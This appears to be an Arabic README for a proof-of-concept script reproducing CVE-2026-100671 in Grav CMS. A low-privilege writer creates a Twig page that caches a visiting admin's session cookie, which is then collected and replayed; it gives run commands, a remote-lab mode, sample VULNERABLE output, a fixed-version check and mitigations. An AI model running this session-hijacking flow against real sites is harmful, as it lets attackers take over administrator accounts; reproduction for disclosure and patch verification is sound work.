
أداة تحقق محلية فقط لإثبات المفهوم لـ CVE-2026-100671، تعيد إنتاج كشف ملف تعريف ارتباط الجلسة في ذاكرة التخزين المؤقت لصفحات Grav Twig وإعادة تشغيله ضد أهداف loopback.
أداة تحقق هجومية جانبية بسيطة ومحدودة النطاق للتحقق من استيلاء الجلسة عبر محتوى Twig/ذاكرة التخزين المؤقت للصفحات في Grav، والذي تم إصلاحه في Grav 2.0.25.
التنبيهات:
لا يمتلك المهاجم اسم المستخدم أو كلمة المرور الخاصة بالمسؤول.
السلسلة الحقيقية هي:
يحدث إجراء المسؤول خارج هذا السكربت. لا يقبل exploit.py أي إعداد
GRAV_ADMIN_USERNAME أو GRAV_ADMIN_PASSWORD.
واجهة الاسترجاع المحلية (Loopback) هي حد الأمان الافتراضي. يتطلب الهدف غير المحلي
علامة --allow-remote الصريحة، والمخصصة لجهاز HTB أو TryHackMe أو مختبر مملوك
ومصرح به.
يتبع العميل عمليات إعادة التوجيه فقط عندما تبقى على أصل الهدف المحدد،
ويستخدم عملاء HTTP من مكتبة Python القياسية، ويطبق مهلًا زمنية للطلبات، ويطبع
ملف تعريف الارتباط الملتقط فقط عند توفير --show-cookie صراحةً.
استخدمه فقط ضد نسخة Grav تملكها أو مصرح لك صراحةً باختبارها. يُنشئ السكربت صفحة إثبات عامة. احذف تلك الصفحة بعد الاختبار إذا كان الهدف يحتفظ بالمحتوى بين التشغيلات.
get_cookie() ملف تعريف ارتباط جلسة المسؤول الزائر من جهة الخادم.يحتاج حساب كتابة الصفحات فقط إلى مسار الكتابة منخفض الصلاحيات. لا يحتاج إلى
api.pages.read أو admin.* أو وصول المسؤول الأعلى أو بيانات اعتماد المسؤول.
2.0.19 حتى 2.0.24: عرضة للثغرة مع إعدادات محتوى Twig الافتراضية
المرفقة.2.0.0 حتى 2.0.18، و1.7.x: متأثرة فقط عندما يكون محتوى Twig
ممكّنًا صراحةً.2.0.25: مُصلح.شغّل هدف Grav مع:
لا يوفر هذا المستودع المكوّن من ملفين Grav أو PHP أو الإضافات أو الحسابات أو روبوت المسؤول. تبقى زيارة الضحية إجراءً خارجيًا.
عيّن فقط بيانات اعتماد أو رمز الكاتب منخفض الصلاحيات:
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
ينشئ السكربت مسارًا عامًا عشوائيًا، ويطبع عنوان URL الخاص به، وينتظر. اطلب من المسؤول زيارة عنوان URL هذا مرة واحدة، ثم اضغط Enter. ينفّذ السكربت عملية الجمع المجهولة وإعادة تشغيل API المحلي.
استخدم رمز API لكاتب موجود بدلاً من ذلك:
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
مفيد لطرفية غير تفاعلية أو لمتصفح ضحية منفصل.
جهّز الصفحة:
python3 exploit.py --prepare-only
اجعل أحد المسؤولين يزور عنوان URL المطبوع. ثم اجمع وأعد التشغيل باستخدام المسار المطبوع؛ لا حاجة إلى بيانات اعتماد لهذه المرحلة الثانية:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie يطبع ملف تعريف ارتباط الجلسة الملتقط لتصحيح الأخطاء المحلي/المختبري المصرّح به:
captured_cookie=grav-site-<hash>=<session-value>
القيمة هي بيانات اعتماد حيّة. لا تلصقها في GitHub أو issues أو الدردشة أو لقطات الشاشة أو السجلات. بدون --show-cookie، يُثبت السكربت الأثر نفسه عبر حالة إعادة التشغيل مع إبقاء القيمة خارج المخرجات.
إذا جرى التجميع قبل زيارة المسؤول، فقد يملأ طلب المهاجم ذاكرة التخزين المؤقت بقيمة فارغة. جهّز مسارًا عشوائيًا جديدًا وأعد المحاولة.
لا تُضمّن عنوان IP لجهاز ما بشكل ثابت في المستودع. قدّم الهدف الحالي في وقت التشغيل:
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
بعد أن يزور المسؤول/البوت عنوان URL المطبوع، اجمع وأعد تشغيل:
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url يبقى اسمًا مستعارًا للتوافق مع --target. طباعة HTTP عن بُعد
تحذير نص واضح؛ استخدم HTTPS حيث تدعمه الآلة.
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
يظهر سطر captured_cookie فقط مع --show-cookie.
شغّل نفس التدفق ثنائي المراحل ضد Grav 2.0.25 أو أحدث، ثم اجمع باستخدام:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
السلوك الثابت المتوقع: عدم وجود قيمة جلسة مرئية للمهاجم وعدم نجاح إعادة تشغيل الجلسة. النتيجة الثابتة النظيفة تُرجع رمز الخروج 0 مع --expect fixed.
قم بالترقية إلى Grav 2.0.25 أو أحدث. بالنسبة للنشرات الأقدم، يسرد الاستشارة هذه الضوابط المؤقتة:
security.twig_content.process_enabled: false؛ أوsystem.pages.never_cache_twig: true؛لا تعامل HttpOnly أو Secure أو SameSite كحل: قراءة الكوكيز الثغرة تحدث من جانب الخادم أثناء عرض Twig.
تم الإبلاغ بواسطة canhieu. هذا المستودع هو أداة مساعدة لإعادة إنتاج الاستشارة المنشورة بالفعل، وليس ماسحًا عن بُعد أو أداة لجمع بيانات الاعتماد.